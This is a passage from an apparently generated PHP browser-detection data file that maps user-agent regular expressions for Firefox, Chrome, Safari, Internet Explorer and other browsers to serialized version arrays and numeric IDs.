9|4|9";i:1376;s:10:"@0|6|1|6|1";i:1377;s:10:"@2|6|0|6|0";i:1378;s:10:"@0|5|7|5|7";i:1379;s:10:"@2|6|2|6|2";i:1380;s:10:"@0|5|6|5|6";i:1381;s:10:"@1|5|2|5|2";i:1382;s:10:"@1|5|6|5|6";i:1383;s:10:"@2|5|2|5|2";i:1384;s:10:"@0|5|3|5|3";i:1385;s:10:"@1|5|3|5|3";i:1386;s:10:"@2|5|5|5|5";i:1387;s:10:"@0|5|2|5|2";i:1388;s:10:"@2|5|3|5|3";i:1389;s:10:"@1|6|3|6|3";i:1390;s:10:"@0|5|1|5|1";i:1391;s:10:"@0|6|3|6|3";i:1392;s:10:"@2|6|3|6|3";i:1393;s:10:"@1|5|1|5|1";i:1394;s:10:"@2|5|6|5|6";i:1395;s:10:"@2|5|1|5|1";i:1396;s:10:"@0|4|9|4|9";i:1397;s:10:"@2|6|1|6|1";i:1398;s:10:"@0|4|5|4|5";i:1399;s:10:"@2|4|4|4|4";i:1400;s:10:"@1|4|4|4|4";i:1401;s:10:"@1|4|5|4|5";i:1402;s:10:"@2|4|5|4|5";i:1403;s:10:"@1|4|6|4|6";i:1404;s:10:"@0|4|6|4|6";i:1405;s:10:"@2|4|3|4|3";i:1406;s:10:"@1|4|3|4|3";i:1407;s:10:"@2|4|1|4|1";i:1408;s:10:"@1|4|1|4|1";i:1409;s:10:"@0|4|1|4|1";i:1410;s:10:"@0|4|2|4|2";i:1411;s:10:"@1|4|2|4|2";i:1412;s:10:"@0|4|3|4|3";i:1413;s:10:"@2|4|2|4|2";i:1414;s:10:"@2|4|6|4|6";i:1415;s:10:"@0|4|4|4|4";i:1416;s:10:"@2|4|8|4|8";i:1417;s:10:"@0|4|7|4|7";i:1418;s:10:"@0|5|9|5|9";i:1419;s:10:"@0|4|8|4|8";i:1420;s:10:"@1|4|8|4|8";i:1421;s:10:"@1|4|7|4|7";i:1422;s:10:"@1|5|9|5|9";i:1423;s:10:"@1|5|4|5|4";i:1424;s:10:"@2|4|7|4|7";i:1425;}', '@^Mozilla/5\.0 \(.*Linux.*\).*applewebkit.* \(.*khtml.*like.*gecko.*\) Sabayon Chrome/.*$@'=>1426, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) .*Version/(\d)\.(\d).*$@'=>'a:8:{s:4:"@7|0";i:1427;s:4:"@6|0";i:1428;s:4:"@6|2";i:1429;s:4:"@6|1";i:1430;s:4:"@9|0";i:1431;s:4:"@7|1";i:1432;s:4:"@9|1";i:1433;s:4:"@8|0";i:1434;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.*$@'=>'a:5:{s:2:"@1";i:1435;s:2:"@4";i:1436;s:2:"@2";i:1437;s:2:"@0";i:1438;s:2:"@3";i:1439;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*Safari/.*$@'=>1440, '@^Mozilla/5\.0 \(.*Linux.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.* Safari/.*$@'=>1441, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows NT 6\.(\d).*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:10:{s:8:"@4|7|3|8";i:1442;s:8:"@4|7|4|8";i:1443;s:8:"@4|9|3|7";i:1444;s:8:"@4|8|3|7";i:1445;s:8:"@4|7|3|7";i:1446;s:8:"@4|7|4|7";i:1447;s:8:"@4|8|4|7";i:1448;s:8:"@5|9|4|7";i:1449;s:8:"@5|9|3|7";i:1450;s:8:"@4|9|4|7";i:1451;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*WOW64.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:2:{s:2:"@8";i:1452;s:2:"@7";i:1453;}', '@^Mozilla/5\.0 \(.*Android.*Mobile.*\).*Gecko.*Firefox/.* anonymized by Abelssoft.*$@'=>1454, '@^Mozilla/5\.0 \(.*Android.*Tablet.*\).*Gecko.*Firefox/.* anonymized by Abelssoft.*$@'=>1455, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0.*; .*Windows NT 6\.1.*Trident/(\d)\.(\d); Xbox.*$@'=>'a:2:{s:8:"@4|7|3|1";i:1456;s:8:"@5|9|5|0";i:1457;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*WOW64.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:5:{s:6:"@4|9|7";i:1458;s:6:"@4|7|8";i:1459;s:6:"@5|9|7";i:1460;s:6:"@4|8|7";i:1461;s:6:"@4|7|7";i:1462;}', '@^Mozilla/5\.0 \(X11; \) applewebkit.* \(.*khtml.*like.*gecko.*\) Chrome/.*Safari/.*$@'=>1463, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Safari/(\d)(\d)(\d).*$@'=>'a:9:{s:6:"@1|6|2";i:1464;s:6:"@4|1|2";i:1465;s:6:"@4|1|9";i:1466;s:6:"@1|5|8";i:1467;s:6:"@4|1|7";i:1468;s:6:"@3|1|2";i:1469;s:6:"@1|4|6";i:1470;s:6:"@1|0|0";i:1471;s:6:"@1|2|5";i:1472;}', '@^Mozilla/5\.0 \(.*Linux.*Android.*\) applewebkit.* \(.*khtml.*like.*gecko.*\).*CrMo/.*$@'=>1473, '@^Mozilla/5\.0 \(.*Windows NT 6\.0.*; rv\:(\d)(\d).*\) Gecko.* Firefox anonymized by .*$@'=>'a:23:{s:4:"@5|2";i:1474;s:4:"@3|8";i:1475;s:4:"@3|7";i:1476;s:4:"@3|9";i:1477;s:4:"@3|3";i:1478;s:4:"@5|0";i:1479;s:4:"@3|5";i:1480;s:4:"@3|4";i:1481;s:4:"@3|6";i:1482;s:4:"@5|1";i:1483;s:4:"@4|6";i:1484;s:4:"@4|7";i:1485;s:4:"@4|8";i:1486;s:4:"@4|9";i:1487;s:4:"@4|5";i:1488;s:4:"@3|2";i:1489;s:4:"@4|2";i:1490;s:4:"@4|3";i:1491;s:4:"@4|4";i:1492;s:4:"@4|1";i:1493;s:4:"@4|0";i:1494;s:4:"@3|0";i:1495;s:4:"@3|1";i:1496;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*x64.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:2:{s:2:"@8";i:1497;s:2:"@7";i:1498;}', '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) Safari/85.*$@'=>1499, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*x64.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:5:{s:6:"@4|8|7";i:1500;s:6:"@5|9|7";i:1501;s:6:"@4|9|7";i:1502;s:6:"@4|7|8";i:1503;s:6:"@4|7|7";i:1504;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*; rv\:.*\) Gecko.* Firefox/.*anonymized by .*$@'=>'a:2:{s:2:"@0";i:1505;s:2:"@1";i:1506;}', '@^Mozilla/5\.0 \(Windows NT 6\.2; ARM; Trident/(\d)\.0.*rv\:11\.0; WPDesktop; .*$@'=>'a:2:{s:2:"@8";i:1507;s:2:"@7";i:1508;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows NT 10\.0.*Trident/8\.0.*\).*$@'=>1509, '@^Mozilla/5\.0 \(.*Windows NT 6\.0.*; rv\:.*\) Gecko.* Firefox anonymized by .*$@'=>1510, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.*\(.*khtml.*like.*gecko.*\).*Version/.*$@'=>1511, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0.*; Trident/6\.0; .*Windows NT 6\.1.*$@'=>1512, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows NT 6\.(\d).*Trident/8\.0.*\).*$@'=>'a:3:{s:2:"@3";i:1513;s:2:"@1";i:1515;s:2:"@4";i:1518;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows NT 10\.0.*Trident/8\.0.*\).*$@'=>'a:5:{s:4:"@5|7";i:1514;s:4:"@4|8";i:1516;s:4:"@4|9";i:1517;s:4:"@4|7";i:1519;s:4:"@5|9";i:1520;}', '@^Mozilla/5\.0 \(.*Mac OS X.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.*$@'=>1521, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows NT 10\.0.*Trident/7\.0.*$@'=>1522, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows NT 6\.(\d).*Trident/(\d)\.0.*\).*$@'=>'a:23:{s:8:"@4|9|3|8";i:1523;s:8:"@5|9|1|8";i:1524;s:8:"@5|9|3|8";i:1525;s:8:"@4|8|4|8";i:1526;s:8:"@4|8|1|8";i:1527;s:8:"@4|7|1|5";i:1528;s:8:"@5|9|4|8";i:1529;s:8:"@4|9|4|8";i:1530;s:8:"@4|8|3|8";i:1531;s:8:"@5|7|4|8";i:1532;s:8:"@5|7|0|5";i:1533;s:8:"@4|7|3|8";i:1534;s:8:"@4|7|4|8";i:1535;s:8:"@4|8|1|5";i:1536;s:8:"@4|9|1|8";i:1537;s:8:"@4|8|0|5";i:1538;s:8:"@5|7|1|5";i:1539;s:8:"@5|8|1|5";i:1540;s:8:"@4|7|0|5";i:1541;s:8:"@5|7|3|8";i:1542;s:8:"@5|7|1|8";i:1543;s:8:"@4|7|1|8";i:1544;s:8:"@5|8|0|5";i:1545;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*\) Gecko.* Firefox/(\d)(\d)\.0.* Anonymisiert.*$@'=>'a:38:{s:6:"@1|4|6";i:1546;s:6:"@1|5|9";i:1547;s:6:"@1|4|0";i:1548;s:6:"@1|3|0";i:1549;s:6:"@1|4|3";i:1550;s:6:"@1|3|2";i:1551;s:6:"@1|5|2";i:1552;s:6:"@2|5|2";i:1553;s:6:"@1|5|8";i:1554;s:6:"@1|4|2";i:1555;s:6:"@1|4|1";i:1556;s:6:"@1|4|5";i:1557;s:6:"@1|3|9";i:1558;s:6:"@1|5|7";i:1559;s:6:"@1|5|6";i:1560;s:6:"@1|5|1";i:1561;s:6:"@1|4|8";i:1562;s:6:"@1|3|6";i:1564;s:6:"@1|6|1";i:1565;s:6:"@1|4|7";i:1566;s:6:"@1|6|2";i:1567;s:6:"@1|5|4";i:1568;s:6:"@2|5|1";i:1569;s:6:"@1|3|4";i:1570;s:6:"@1|3|5";i:1571;s:6:"@2|4|9";i:1572;s:6:"@1|4|9";i:1574;s:6:"@1|6|3";i:1575;s:6:"@1|3|3";i:1576;s:6:"@1|3|1";i:1577;s:6:"@1|6|0";i:1579;s:6:"@1|5|5";i:1580;s:6:"@1|4|4";i:1581;s:6:"@1|5|3";i:1582;s:6:"@1|3|7";i:1583;s:6:"@2|5|0";i:1584;s:6:"@1|3|8";i:1585;s:6:"@1|5|0";i:1586;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:2:{s:2:"@8";i:1563;s:2:"@7";i:1573;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*WOW64.*Trident/8\.0.*\).*$@'=>1578, '@^Mozilla/5\.0 \(.*Windows.*; rv\:(\d)(\d).*\) Gecko.* Firefox/(\d)(\d).*anonymized by .*$@'=>'a:34:{s:8:"@4|9|4|9";i:1587;s:8:"@4|8|4|8";i:1588;s:8:"@6|2|6|2";i:1589;s:8:"@4|4|4|4";i:1590;s:8:"@5|0|5|0";i:1591;s:8:"@4|6|4|6";i:1592;s:8:"@5|8|5|8";i:1593;s:8:"@6|3|6|3";i:1594;s:8:"@6|0|6|0";i:1595;s:8:"@6|1|6|1";i:1596;s:8:"@4|5|4|5";i:1597;s:8:"@5|1|5|1";i:1598;s:8:"@4|7|4|7";i:1599;s:8:"@5|9|5|9";i:1600;s:8:"@3|0|3|0";i:1601;s:8:"@3|9|3|9";i:1602;s:8:"@3|3|3|3";i:1603;s:8:"@4|3|4|3";i:1604;s:8:"@3|4|3|4";i:1605;s:8:"@5|6|5|6";i:1606;s:8:"@5|5|5|5";i:1607;s:8:"@5|2|5|2";i:1608;s:8:"@5|4|5|4";i:1609;s:8:"@3|1|3|1";i:1610;s:8:"@3|7|3|7";i:1611;s:8:"@3|8|3|8";i:1612;s:8:"@3|2|3|2";i:1613;s:8:"@5|3|5|3";i:1614;s:8:"@3|6|3|6";i:1615;s:8:"@4|2|4|2";i:1616;s:8:"@3|5|3|5";i:1617;s:8:"@4|0|4|0";i:1618;s:8:"@4|1|4|1";i:1619;s:8:"@5|7|5|7";i:1620;}', '@^.*Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/8\.0.*rv\:11.*IEMobile.11\.0.*$@'=>1621, '@^Mozilla/5\.0 \(.*Mac OS X.*\) applewebkit.*\(.*khtml.*like.*gecko.*\).*Safari.*$@'=>1622, '@^Mozilla/(\d)\.0 \(.*Windows.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.*$@'=>'a:2:{s:2:"@4";i:1623;s:2:"@5";i:1624;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows NT 10\.0.*Trident/7\.0.*$@'=>'a:6:{s:4:"@5|8";i:1625;s:4:"@4|7";i:1626;s:4:"@4|9";i:1627;s:4:"@5|7";i:1630;s:4:"@4|8";i:1632;s:4:"@5|9";i:1633;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows NT 6\.(\d).*Trident/7\.0.*$@'=>'a:3:{s:2:"@3";i:1628;s:2:"@1";i:1629;s:2:"@4";i:1631;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0.*; .*Windows NT 6\.(\d).*Trident/(\d)\.0.*$@'=>'a:8:{s:8:"@5|9|1|5";i:1634;s:8:"@5|9|0|5";i:1635;s:8:"@4|8|1|4";i:1637;s:8:"@4|8|0|4";i:1638;s:8:"@5|8|0|4";i:1639;s:8:"@4|9|0|5";i:1641;s:8:"@5|8|1|4";i:1642;s:8:"@4|9|1|5";i:1643;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0.*Windows NT 6\.(\d).*Trident/6\.0.*\).*$@'=>'a:2:{s:2:"@1";i:1636;s:2:"@2";i:1640;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*Trident/(\d)\.0.*Touch.*\).*$@'=>'a:5:{s:6:"@4|8|7";i:1644;s:6:"@4|9|7";i:1646;s:6:"@5|9|7";i:1647;s:6:"@4|7|7";i:1651;s:6:"@4|7|8";i:1657;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*WOW64.*Trident/(\d)\.0.*\).*$@'=>'a:9:{s:6:"@5|7|8";i:1645;s:6:"@4|8|8";i:1648;s:6:"@4|7|8";i:1649;s:6:"@4|7|5";i:1650;s:6:"@4|9|8";i:1652;s:6:"@4|8|5";i:1653;s:6:"@5|8|5";i:1654;s:6:"@5|7|5";i:1655;s:6:"@5|9|8";i:1656;}', '@^Mozilla/5\.0.*\(.*Windows Phone 8\.1.*Trident/(\d)\.0.*rv\:11.*IEMobile.11\.0.*$@'=>'a:2:{s:2:"@7";i:1658;s:2:"@8";i:1659;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows NT 6\.(\d).*Trident/(\d)\.0.*$@'=>'a:22:{s:8:"@5|7|1|4";i:1660;s:8:"@4|7|0|4";i:1661;s:8:"@4|7|1|4";i:1662;s:8:"@4|8|3|7";i:1663;s:8:"@5|9|3|7";i:1664;s:8:"@5|9|4|7";i:1665;s:8:"@5|8|3|7";i:1666;s:8:"@5|9|1|7";i:1667;s:8:"@4|9|4|7";i:1668;s:8:"@4|9|1|7";i:1669;s:8:"@4|9|3|7";i:1670;s:8:"@5|8|4|7";i:1671;s:8:"@4|8|1|7";i:1672;s:8:"@5|7|0|4";i:1673;s:8:"@4|7|1|7";i:1674;s:8:"@4|7|3|7";i:1675;s:8:"@5|7|4|7";i:1676;s:8:"@5|7|3|7";i:1677;s:8:"@4|8|4|7";i:1678;s:8:"@5|7|1|7";i:1679;s:8:"@4|7|4|7";i:1680;s:8:"@5|8|1|7";i:1681;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*WOW64.*Trident/7\.0.*$@'=>1682, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*x64.*Trident/8\.0.*\).*$@'=>1683, '@^Mozilla/5\.0 \(.*Linux.*\).*applewebkit.*\(.*khtml.*like.*gecko.*\).*Chrome/.*$@'=>1684, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\..*Windows NT 6\.(\d).*Trident/6\.0.*\).*$@'=>'a:12:{s:6:"@5|8|2";i:1685;s:6:"@4|8|1";i:1686;s:6:"@5|8|1";i:1690;s:6:"@4|8|2";i:1691;s:6:"@4|7|1";i:1692;s:6:"@5|7|1";i:1693;s:6:"@5|7|2";i:1696;s:6:"@4|7|2";i:1697;s:6:"@4|9|2";i:1698;s:6:"@4|9|1";i:1700;s:6:"@5|9|1";i:1701;s:6:"@5|9|2";i:1704;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*WOW64.*Trident/(\d)\.0.*$@'=>'a:8:{s:6:"@5|7|7";i:1687;s:6:"@4|7|4";i:1688;s:6:"@5|9|7";i:1689;s:6:"@4|9|7";i:1694;s:6:"@5|8|7";i:1695;s:6:"@4|8|7";i:1699;s:6:"@5|7|4";i:1702;s:6:"@4|7|7";i:1703;}', '@^Mozilla/5\.0 \(.*Windows.*; rv\:(\d)(\d).*\) Gecko.* Firefox anonymized by .*$@'=>'a:34:{s:4:"@4|6";i:1705;s:4:"@4|5";i:1707;s:4:"@3|9";i:1708;s:4:"@3|8";i:1711;s:4:"@4|1";i:1712;s:4:"@4|0";i:1713;s:4:"@4|2";i:1714;s:4:"@4|4";i:1715;s:4:"@4|3";i:1717;s:4:"@3|7";i:1718;s:4:"@5|0";i:1719;s:4:"@5|1";i:1720;s:4:"@5|2";i:1721;s:4:"@5|3";i:1723;s:4:"@3|1";i:1724;s:4:"@5|6";i:1725;s:4:"@5|7";i:1726;s:4:"@4|8";i:1727;s:4:"@3|2";i:1728;s:4:"@3|3";i:1729;s:4:"@5|5";i:1730;s:4:"@3|0";i:1731;s:4:"@5|8";i:1732;s:4:"@6|1";i:1733;s:4:"@6|2";i:1734;s:4:"@6|3";i:1735;s:4:"@6|0";i:1736;s:4:"@4|9";i:1737;s:4:"@5|9";i:1738;s:4:"@5|4";i:1739;s:4:"@4|7";i:1740;s:4:"@3|5";i:1741;s:4:"@3|6";i:1743;s:4:"@3|4";i:1745;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*x64.*Trident/(\d)\.0.*\).*$@'=>'a:9:{s:6:"@4|9|8";i:1706;s:6:"@5|9|8";i:1709;s:6:"@4|8|8";i:1710;s:6:"@4|7|8";i:1716;s:6:"@5|7|8";i:1722;s:6:"@4|7|5";i:1742;s:6:"@4|8|5";i:1744;s:6:"@5|7|5";i:1746;s:6:"@5|8|5";i:1747;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.* \(.*khtml.*like.*gecko.*\) HbbTV.*$@'=>1748, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*x64.*Trident/7\.0.*$@'=>1749, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\..*Windows.*WOW64.*Trident/6\.0.*\).*$@'=>'a:6:{s:4:"@4|9";i:1750;s:4:"@5|9";i:1751;s:4:"@5|8";i:1752;s:4:"@4|8";i:1753;s:4:"@5|7";i:1754;s:4:"@4|7";i:1755;}', '@^Mozilla/5\.0 \(.*Windows.*; rv\:.*\) Gecko.* Firefox/.*anonymized by .*$@'=>1756, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*x64.*Trident/(\d)\.0.*$@'=>'a:8:{s:6:"@5|8|7";i:1757;s:6:"@4|9|7";i:1758;s:6:"@5|7|4";i:1759;s:6:"@4|7|4";i:1760;s:6:"@5|9|7";i:1761;s:6:"@4|8|7";i:1762;s:6:"@4|7|7";i:1763;s:6:"@5|7|7";i:1764;}', '@^Mozilla/5\.0 \(.*Windows.*; rv\:.*\) Gecko.* Firefox anonymized by .*$@'=>1765, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0.*; Trident/6\.0; .*Windows.*$@'=>1766, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*Trident/8\.0.*\).*$@'=>1767, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\..*Windows.*x64.*Trident/6\.0.*\).*$@'=>'a:6:{s:4:"@5|9";i:1768;s:4:"@4|8";i:1769;s:4:"@4|9";i:1770;s:4:"@4|7";i:1771;s:4:"@5|7";i:1772;s:4:"@5|8";i:1773;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*Trident/(\d)\.0.*\).*$@'=>'a:9:{s:6:"@5|8|5";i:1774;s:6:"@5|7|8";i:1775;s:6:"@4|9|8";i:1776;s:6:"@5|7|5";i:1777;s:6:"@4|7|5";i:1778;s:6:"@4|8|8";i:1780;s:6:"@4|8|5";i:1781;s:6:"@4|7|8";i:1782;s:6:"@5|9|8";i:1783;}', '@^Mozilla/5\.0 \(.*Linux.*\) applewebkit.*THOMSON; Thomson THS845.*$@'=>1779, '@^Mozilla/5\.0 \(.*Windows.*\) Gecko.* Firefox/(\d)(\d)\.0.* Anonymisiert.*$@'=>'a:34:{s:4:"@5|2";i:1784;s:4:"@5|8";i:1785;s:4:"@5|7";i:1786;s:4:"@5|5";i:1787;s:4:"@4|4";i:1788;s:4:"@5|0";i:1789;s:4:"@3|0";i:1790;s:4:"@4|9";i:1791;s:4:"@4|3";i:1793;s:4:"@3|3";i:1794;s:4:"@4|6";i:1795;s:4:"@4|8";i:1796;s:4:"@3|2";i:1797;s:4:"@4|5";i:1798;s:4:"@5|6";i:1799;s:4:"@3|6";i:1800;s:4:"@3|1";i:1802;s:4:"@3|7";i:1803;s:4:"@4|0";i:1805;s:4:"@3|5";i:1806;s:4:"@3|8";i:1807;s:4:"@6|3";i:1809;s:4:"@4|7";i:1810;s:4:"@3|4";i:1811;s:4:"@6|1";i:1813;s:4:"@3|9";i:1814;s:4:"@4|2";i:1816;s:4:"@5|4";i:1817;s:4:"@4|1";i:1818;s:4:"@5|1";i:1819;s:4:"@6|0";i:1820;s:4:"@5|3";i:1821;s:4:"@5|9";i:1822;s:4:"@6|2";i:1823;}', '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*; rv\:1\.9\.(\d).*\) Gecko.* Firefox .*$@'=>'a:6:{s:4:"@2|2";i:1792;s:4:"@0|2";i:1801;s:4:"@1|2";i:1804;s:4:"@1|1";i:1808;s:4:"@0|1";i:1812;s:4:"@2|1";i:1815;}', '@^Mozilla/5\.0 \(.*Windows NT 10\.0.*Trident/7\.0.*Touch.*rv\:11\.0.*\).*$@'=>1824, '@^Mozilla/5\.0 \(compatible; MSIE 10\.0; .*Windows.*Trident/7\.0.*$@'=>1825, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0.*; .*Windows.*Trident/(\d)\.0.*$@'=>'a:4:{s:6:"@5|8|4";i:1826;s:6:"@4|8|4";i:1827;s:6:"@5|9|5";i:1829;s:6:"@4|9|5";i:1830;}', '@^Mozilla/5\.0 \(compatible; MSIE 10\.0.*Windows.*Trident/6\.0.*\).*$@'=>1828, '@^Mozilla/5\.0 \(.*Windows NT 6\.(\d).*Trident/7\.0.*Touch.*rv\:11\.0.*\).*$@'=>'a:2:{s:2:"@3";i:1831;s:2:"@4";i:1832;}', '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0; .*Windows.*Trident/(\d)\.0.*$@'=>'a:8:{s:6:"@4|8|7";i:1833;s:6:"@5|9|7";i:1834;s:6:"@5|7|7";i:1835;s:6:"@4|9|7";i:1836;s:6:"@4|7|4";i:1837;s:6:"@5|8|7";i:1838;s:6:"@4|7|7";i:1839;s:6:"@5|7|4";i:1840;}', '@^Mozilla/5\.0; TOB.* \(.*Windows NT 10\.0.*Trident/7\.0.*rv\:11\.0.*$@'=>1841, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\..*Windows.*Trident/6\.0.*\).*$@'=>'a:6:{s:4:"@4|8";i:1842;s:4:"@5|8";i:1843;s:4:"@4|9";i:1844;s:4:"@4|7";i:1845;s:4:"@5|7";i:1846;s:4:"@5|9";i:1847;}', '@^Mozilla/5\.0; TOB.* \(.*Windows NT 6\.(\d).*Trident/7\.0.*rv\:11\.0.*$@'=>'a:3:{s:2:"@4";i:1848;s:2:"@3";i:1849;s:2:"@1";i:1850;}', '@^Mozilla/5\.0 \(.*MSIE 9\.0.*; .*Windows NT 6\.(\d).*Trident/5\.0.*\).*$@'=>'a:2:{s:2:"@0";i:1851;s:2:"@1";i:1852;}', '@^Mozilla/5\.0 \(masking\-agent; rv\:.*\) Gecko.* Firefox/(\d)(\d)\.0.*$@'=>'a:34:{s:4:"@6|0";i:1853;s:4:"@5|1";i:1854;s:4:"@6|2";i:1855;s:4:"@5|0";i:1856;s:4:"@6|3";i:1857;s:4:"@6|1";i:1858;s:4:"@3|0";i:1859;s:4:"@5|8";i:1860;s:4:"@3|3";i:1861;s:4:"@5|6";i:1862;s:4:"@4|8";i:1863;s:4:"@3|1";i:1864;s:4:"@5|7";i:1865;s:4:"@4|9";i:1866;s:4:"@3|2";i:1867;s:4:"@5|5";i:1868;s:4:"@5|9";i:1869;s:4:"@3|4";i:1870;s:4:"@4|5";i:1871;s:4:"@4|7";i:1872;s:4:"@5|2";i:1873;s:4:"@4|6";i:1874;s:4:"@3|7";i:1875;s:4:"@5|4";i:1876;s:4:"@3|6";i:1877;s:4:"@4|3";i:1878;s:4:"@4|4";i:1879;s:4:"@4|2";i:1880;s:4:"@4|0";i:1881;s:4:"@4|1";i:1882;s:4:"@5|3";i:1883;s:4:"@3|5";i:1884;s:4:"@3|9";i:1885;s:4:"@3|8";i:1886;}', '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0b.*; .*Windows NT 6\.0.*$@'=>1887, '@^Mozilla/5\.0 \(.*Windows.*\) Gecko.* Firefox/.* Anonymisiert.*$@'=>1888, '@^Mozilla/(\d)\.0 \(compatible; MSIE 10\.0.*; .*Windows NT 6\.(\d).*$@'=>'a:4:{s:4:"@4|1";i:1889;s:4:"@4|2";i:1890;s:4:"@5|2";i:1891;s:4:"@5|1";i:1892;}', '@^Mozilla/4\.0 \(compatible.*; MSIE 7\.0.*; .*Windows NT 6\.0.*$@'=>1893, '@^Mozilla/5\.0 \(Windows 95; Anonymisiert.*; Trident/7\.0.*$@'=>1894, '@^Mozilla/(\d)\.0 \(compatible; MSIE (\d)\.0.*; .*Windows NT 6\.(\d).*$@'=>'a:9:{s:6:"@5|7|0";i:1895;s:6:"@5|8|0";i:1896;s:6:"@5|8|1";i:1897;s:6:"@4|8|1";i:1898;s:6:"@4|8|0";i:1899;s:6:"@5|9|0";i:1900;s:6:"@4|9|1";i:1901;s:6:"@5|9|1";i:1902;s:6:"@4|9|0";i:1903;}', '@^Mozilla/(\d)\.0 \(.*Windows NT 10\.0.*\) Gecko.* Firefox/(\d)(\d)\.0.*$@'=>'a:68:{s:6:"@4|6|0";i:1904;s:6:"@5|3|7";i:1905;s:6:"@5|5|0";i:1906;s:6:"@5|5|9";i:1907;s:6:"@4|3|3";i:1908;s:6:"@4|3|7";i:1909;s:6:"@5|5|8";i:1910;s:6:"@5|4|9";i:1911;s:6:"@5|5|2";i:1912;s:6:"@5|6|0";i:1913;s:6:"@4|5|9";i:1914;s:6:"@4|5|2";i:1915;s:6:"@4|4|2";i:1916;s:6:"@4|3|4";i:1917;s:6:"@5|6|1";i:1918;s:6:"@4|6|1";i:1919;s:6:"@4|4|1";i:1920;s:6:"@4|4|0";i:1921;s:6:"@5|3|3";i:1922;s:6:"@5|4|0";i:1923;s:6:"@5|3|9";i:1924;s:6:"@4|3|9";i:1925;s:6:"@4|3|8";i:1926;s:6:"@4|5|8";i:1927;s:6:"@4|5|0";i:1928;s:6:"@5|3|8";i:1929;s:6:"@4|6|2";i:1930;s:6:"@5|4|1";i:1931;s:6:"@5|3|4";i:1932;s:6:"@5|4|2";i:1933;s:6:"@5|5|1";i:1934;s:6:"@5|3|5";i:1935;s:6:"@4|4|6";i:1936;s:6:"@4|3|1";i:1937;s:6:"@5|4|5";i:1938;s:6:"@4|5|5";i:1939;s:6:"@5|5|5";i:1940;s:6:"@5|5|4";i:1941;s:6:"@5|3|1";i:1942;s:6:"@5|4|7";i:1943;s:6:"@4|4|7";i:1944;s:6:"@4|3|2";i:1945;s:6:"@4|5|3";i:1946;s:6:"@5|3|2";i:1947;s:6:"@5|3|6";i:1948;s:6:"@4|3|6";i:1949;s:6:"@4|4|5";i:1950;s:6:"@4|5|4";i:1951;s:6:"@4|5|7";i:1952;s:6:"@4|3|0";i:1953;s:6:"@5|4|8";i:1954;s:6:"@5|5|7";i:1955;s:6:"@5|5|3";i:1956;s:6:"@5|4|3";i:1957;s:6:"@4|3|5";i:1958;s:6:"@5|3|0";i:1959;s:6:"@4|5|1";i:1960;s:6:"@4|4|8";i:1961;s:6:"@5|4|4";i:1962